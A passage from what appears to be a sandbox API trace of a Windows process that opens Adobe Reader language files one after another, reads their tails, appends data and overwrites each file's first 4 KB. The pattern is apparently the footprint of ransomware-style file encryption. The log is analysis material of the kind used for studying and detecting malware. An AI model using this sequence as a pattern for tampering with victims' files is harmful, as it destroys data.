lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.924] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5c96 [0048.924] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.925] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5c96 [0048.925] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.925] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.925] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.925] CloseHandle (hObject=0x168) returned 1 [0048.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.926] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.926] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6c96 [0048.926] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.926] ReleaseMutex (hMutex=0x128) returned 1 [0048.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_YE.txt", lpUsedDefaultChar=0x0) returned 30 [0048.926] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.928] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5c96 [0048.928] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.929] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5c96 [0048.929] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.929] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.929] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.929] CloseHandle (hObject=0x168) returned 1 [0048.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x72d6 [0048.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.930] ReleaseMutex (hMutex=0x128) returned 1 [0048.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_CH.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0048.930] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.932] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x62d6 [0048.932] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.932] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x62d6 [0048.932] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.933] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.933] CloseHandle (hObject=0x168) returned 1 [0048.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6e88 [0048.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.933] ReleaseMutex (hMutex=0x128) returned 1 [0048.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0048.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x1eb2244, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US_POSIX.txt", lpUsedDefaultChar=0x0) returned 36 [0048.933] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.935] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5e88 [0048.935] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.935] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5e88 [0048.936] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.936] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.936] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.936] CloseHandle (hObject=0x168) returned 1 [0048.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.937] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.937] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6ec8 [0048.937] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.937] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.937] ReleaseMutex (hMutex=0x128) returned 1 [0048.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0048.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2244, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0048.937] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.940] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5ec8 [0048.940] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.941] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5ec8 [0048.941] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.941] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.941] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.942] CloseHandle (hObject=0x168) returned 1 [0048.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.942] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.942] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6ec8 [0048.942] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.942] ReleaseMutex (hMutex=0x128) returned 1 [0048.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_US.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_US.txt", lpUsedDefaultChar=0x0) returned 30 [0048.943] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.944] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5ec8 [0048.944] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.945] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5ec8 [0048.945] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.945] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.945] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.946] CloseHandle (hObject=0x168) returned 1 [0048.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.946] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.946] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6f48 [0048.946] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.946] ReleaseMutex (hMutex=0x128) returned 1 [0048.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR.txt", lpUsedDefaultChar=0x0) returned 30 [0048.946] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.948] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5f48 [0048.948] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.949] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5f48 [0048.949] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.949] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.949] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.949] CloseHandle (hObject=0x168) returned 1 [0048.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.950] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.950] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6e88 [0048.950] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.950] ReleaseMutex (hMutex=0x128) returned 1 [0048.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT.txt", lpUsedDefaultChar=0x0) returned 30 [0048.950] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.951] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5e88 [0048.951] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.952] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5e88 [0048.952] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.953] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.953] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.953] CloseHandle (hObject=0x168) returned 1 [0048.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.953] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 